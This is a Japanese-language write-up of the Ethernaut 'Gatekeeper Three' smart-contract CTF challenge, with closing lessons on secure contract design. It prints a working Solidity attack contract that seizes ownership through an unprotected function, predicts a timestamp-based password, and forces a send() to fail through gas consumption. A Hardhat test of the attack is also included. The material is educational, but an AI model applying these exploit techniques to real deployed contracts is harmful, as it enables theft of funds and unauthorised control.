Appearance
CTF課題 Gatekeeper Three 詳細解析:イーサリアムスマートコントラクトの三重ゲート突破
はじめに
イーサリアムのスマートコントラクトセキュリティ分野において、CTF(Capture The Flag)チャレンジはセキュリティ意識とスキルを高める重要な手段です。OpenZeppelinのEthernautプラットフォームは多くの精巧に設計された課題を提供しており、その中でもGatekeeper Threeは典型的な多層防御コントラクトです。攻撃者は三重のセキュリティゲート(gate)を突破して初めて侵入に成功します。本記事では、Gatekeeper Threeのセキュリティ機構、脆弱性の原理、そして攻撃戦略を包括的に解説します。
コントラクト構造の分析
1. コアコントラクト構造
Gatekeeper Threeコントラクトはモジュール化された設計を採用しており、3つのmodifierによって三層のセキュリティ防御を構築しています:
solidity
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
// 三つのセキュリティゲート
modifier gateOne() { ... }
modifier gateTwo() { ... }
modifier gateThree() { ... }
// 重要な関数
function enter() public gateOne gateTwo gateThree { ... }
}
2. 補助コントラクト SimpleTrick
SimpleTrickコントラクトはGatekeeper Threeの補助コンポーネントとして機能し、パスワード検証と権限管理を担当します:
solidity
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp; // 重要:ブロックタイムスタンプをパスワードとして使用
function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp; // 間違った場合は更新
return false;
}
}
三重ゲートの技術詳細
第1ゲート:認証とコールチェーン制御
solidity
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
技術ポイント:
msg.sender == owner:直接の呼び出し元がownerである必要があるtx.origin != owner:トランザクションの発起者はownerであってはならない- 中間コントラクトを利用した呼び出しが必要になる設計
セキュリティ原理:
msg.sender:直接呼び出したアドレスtx.origin:最初にトランザクションを発行したアドレス
第2ゲート:フラグ検証
solidity
modifier gateTwo() {
require(allowEntrance == true);
_;
}
ポイント:
allowEntranceは状態変数getAllowance()を正しく実行する必要がある
第3ゲート:資金条件と送金失敗
solidity
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
条件分析:
- 残高 > 0.001 ETH
- ownerへの送金が失敗する必要あり
重要な洞察:
send()は2300 gas制限- fallbackでgasを消費させることで失敗させられる
攻撃戦略
1. 攻撃フロー
construct0r()でownerになるSimpleTrickを作成- パスワード取得(timestamp)
allowEntrance = trueに設定- 資金条件を満たす
enter()を実行
2. 攻撃コントラクト
solidity
contract Hack {
GatekeeperThree private immutable target;
constructor(address _target) payable {
target = GatekeeperThree(payable(_target));
}
function doEnter() external payable {
target.construct0r();
target.createTrick();
uint256 password = block.timestamp;
target.getAllowance(password);
uint256 amount = 0.001 ether + 0.0001 ether;
payable(address(target)).transfer(amount);
target.enter();
}
receive() external payable {
uint256 i = 0;
while(i < 1000) {
i++;
}
}
}
3. 重要ポイント
パスワード取得
solidity
uint256 password = block.timestamp;
同一ブロック内ではtimestampが同じ → 推測可能
第1ゲート突破
- msg.sender = Hackコントラクト
- tx.origin = ユーザー
第3ゲート突破
- ETH送金で残高条件達成
- fallbackでgas消費 → send失敗
テストコード
typescript
describe("GatekeeperThree", function () {
it("攻撃成功テスト", async function () {
const target = await GatekeeperThreeFactory.deploy();
const hack = await HackFactory.deploy(await target.getAddress(), {
value: ethers.parseEther("0.0011")
});
await hack.doEnter({ value: ethers.parseEther("0.0011") });
const entrant = await target.entrant();
expect(entrant).to.equal(deployer[0].address);
});
});
セキュリティ教訓
1. タイムスタンプ依存
❌ 不安全:
solidity
uint256 password = block.timestamp;
✅ 改善:
solidity
keccak256(...)
2. 権限チェック不足
❌
solidity
owner = msg.sender;
✅
solidity
require(owner == address(0));
3. send依存ロジック
❌
solidity
send(...) == false
→ 攻撃可能
まとめ
Gatekeeper Threeから学べること:
msg.sendervstx.origin- private変数は完全には秘密ではない
- gas制限は攻撃に利用される
- timestampは安全ではない
この課題は、スマートコントラクトセキュリティが多層的であることを示しています。安全なコントラクト設計には、予測可能な値の排除、厳格な権限管理、そして資金処理の慎重な設計が不可欠です。